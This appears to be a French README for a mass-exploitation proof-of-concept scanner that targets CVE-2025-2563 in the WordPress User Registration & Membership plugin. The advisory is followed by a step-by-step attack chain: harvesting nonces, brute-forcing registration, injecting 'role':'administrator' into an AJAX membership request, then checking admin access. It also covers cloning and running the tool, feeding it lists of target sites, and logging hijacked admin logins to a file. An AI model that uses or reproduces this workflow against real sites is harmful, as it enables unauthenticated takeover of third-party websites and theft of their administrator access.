
Le plugin WordPress User Registration & Membership avant la version 4.1.2 n'empêche pas les utilisateurs de définir leur rôle de compte lorsque le Membership Addon est activé, ce qui entraîne un problème d'escalade de privilèges et permet aux utilisateurs non authentifiés d'obtenir des privilèges d'administrateur.
Le plugin User Registration & Membership pour WordPress avant la version 4.1.2 n'empêche pas les utilisateurs de définir leur rôle de compte lorsque le module complémentaire Membership est activé, ce qui entraîne un problème d'escalade de privilèges et permet à des utilisateurs non authentifiés d'obtenir des privilèges d'administrateur.
| Champ | Détails |
|---|---|
| Identifiant CVE | CVE-2025-2563 |
| Sévérité | HAUTE — Score CVSS v3.1 : 8.1 |
| Vecteur | CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H |
| ADP | CISA-ADP |
| Logiciel concerné | Plugin User Registration & Membership pour WordPress |
| Versions concernées | Toutes les versions antérieures à 4.1.2 |
| Type de vulnérabilité | Gestion incorrecte des privilèges — Création non authentifiée de compte administrateur |
| Authentification requise | Aucune |
| CWE | CWE-269 : Gestion incorrecte des privilèges |
Description :
Le plugin User Registration & Membership pour WordPress dans les versions antérieures à 4.1.2 n'applique pas les restrictions de rôle côté serveur lorsque le module complémentaire Membership est activé. Lors du processus d'inscription au membership, le plugin accepte un champ role fourni par l'utilisateur dans l'action AJAX user_registration_membership_register_member sans le valider par rapport à une liste autorisée côté serveur. Un attaquant distant complètement non authentifié peut soumettre une chaîne AJAX en deux étapes — d'abord en enregistrant un nouveau compte utilisateur via user_registration_user_form_submit, puis en injectant "role": "administrator" dans la charge utile members_data de l'appel d'adhésion — pour créer silencieusement un compte Administrateur WordPress disposant de tous les privilèges. Cela entraîne une compromission complète du site sans aucune authentification ni interaction de l'utilisateur.
Il s'agit d'un scanner d'exploitation de masse de type Proof-of-Concept (PoC) ciblant les installations WordPress exécutant une version vulnérable du plugin User Registration & Membership avec le module complémentaire Membership actif. L'outil effectue une exploitation intelligente en plusieurs étapes avec découverte automatique, collecte de nonces, enregistrement par combinaison, injection de rôle et vérification d'administration.
[Phase 1 — Découverte]
GET /membership-pricing/ → Extraire membership_id, liens de tarification
GET /membership-registration/ → Extraire form_id, nonces, jetons de sécurité
GET /registration/ → Page d'inscription de repli
↓
[Phase 2 — Extraction des nonces]
Parse : ur_membership_frontend_localized_data._nonce
Parse : ur_frontend_form_nonce, security, form_id, membership_id
↓
[Phase 3 — Enregistrement (Attaque combinatoire)]
POST /wp-admin/admin-ajax.php
action=user_registration_user_form_submit
form_data=[{user_login, user_email, user_pass, membership_field, ...}]
security=<token> | ur_frontend_form_nonce=<nonce>
→ Essayer toutes les combinaisons valides jusqu'à success=true
↓
[Phase 4 — Injection de rôle (CVE-2025-2563)]
POST /wp-admin/admin-ajax.php
action=user_registration_membership_register_member
members_data={"role":"administrator","membership":"<id>",...}
_wpnonce=<membership_js_nonce>
→ Le serveur attribue le rôle administrateur au nouvel utilisateur
↓
[Phase 5 — Vérification administrateur]
POST /wp-login.php → Connexion avec les nouveaux identifiants
GET /wp-admin/ → Vérifier le menu admin / la barre d'admin
GET /wp-admin/users.php → Confirmer l'accès manage_options
GET /wp-admin/plugin-install.php → Confirmer l'accès plugin-install
↓
[Sauvegarde dans Nx_admin.txt]
Format : [timestamp] https://target.com/wp-login.php user:<u> pass:<p>
pip install requests urllib3 rich
Ou via le fichier requirements :
pip install -r requirements.txt
requirements.txt :
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
# Cloner le dépôt
git clone https://github.com/Nxploited/CVE-2025-2563.git
cd CVE-2025-2563
# Installer les dépendances
pip install -r requirements.txt
# Lancer l'outil
python3 CVE-2025-2563.py
python3 CVE-2025-2563.py
L'outil utilise une interface terminale interactive entièrement propulsée par Rich.
Créez un fichier texte brut (par défaut : list.txt) — une cible par ligne :
https://target1.com
https://target2.com
http://target3.com
target4.com
Les cibles sans
http://ouhttps://sont automatiquement préfixées parhttps://.
Fichier de cibles [list.txt] : list.txt
Threads [3] : 5
Délai d'attente HTTP (secondes) [10] : 10
Nombre maximal de tentatives d'enregistrement par cible [20] : 20
Le mot de passe est fixé en interne à
Nx_adminSApour toutes les tentatives d'enregistrement.
L'outil sonde automatiquement trois pages par cible :
| Page | Objectif |
|---|---|
/membership-pricing/ | Extraire membership_id et les liens d'inscription |
/membership-registration/ | Extraire les jetons de formulaire, nonces et identifiants de champs |
/membership-registration/?membership_id=<id> | Extraction du formulaire spécifique au plan |
/registration/ | Page d'inscription générique de repli |
Les jetons suivants sont extraits du HTML brut et du JavaScript en ligne :
| Jeton | Source |
|---|---|
_nonce | Objet JS ur_membership_frontend_localized_data |
ur_frontend_form_nonce | Champ d'entrée caché ou objet JS |
security | user_registration_params.user_registration_form_data_save |
form_id | Entrée cachée ur-user-form-id ou objet JS |
membership_id | Entrée radio urm_membership ou chaîne de requête URL |
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest